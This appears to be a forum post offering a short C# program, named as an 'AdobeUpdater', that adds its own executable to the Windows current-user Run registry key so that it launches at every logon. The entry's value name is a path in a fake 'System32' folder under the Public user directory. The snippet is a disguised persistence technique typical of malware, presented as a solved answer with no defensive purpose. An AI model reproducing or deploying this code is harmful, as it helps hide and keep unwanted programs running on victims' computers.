[Solved] Here is the code
C#:
using System;
using System.Security.Principal;
using System.IO;
using System.Net;
using System.Diagnostics;
using Microsoft.Win32;
namespace AdobeUpdater
{
class AdobeUpdater
{
static void Main(string[] args)
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
key.SetValue("C:\\Users\\Public\\System32\\a.txt", System.Windows.Forms.Application.ExecutablePath);
}
}
}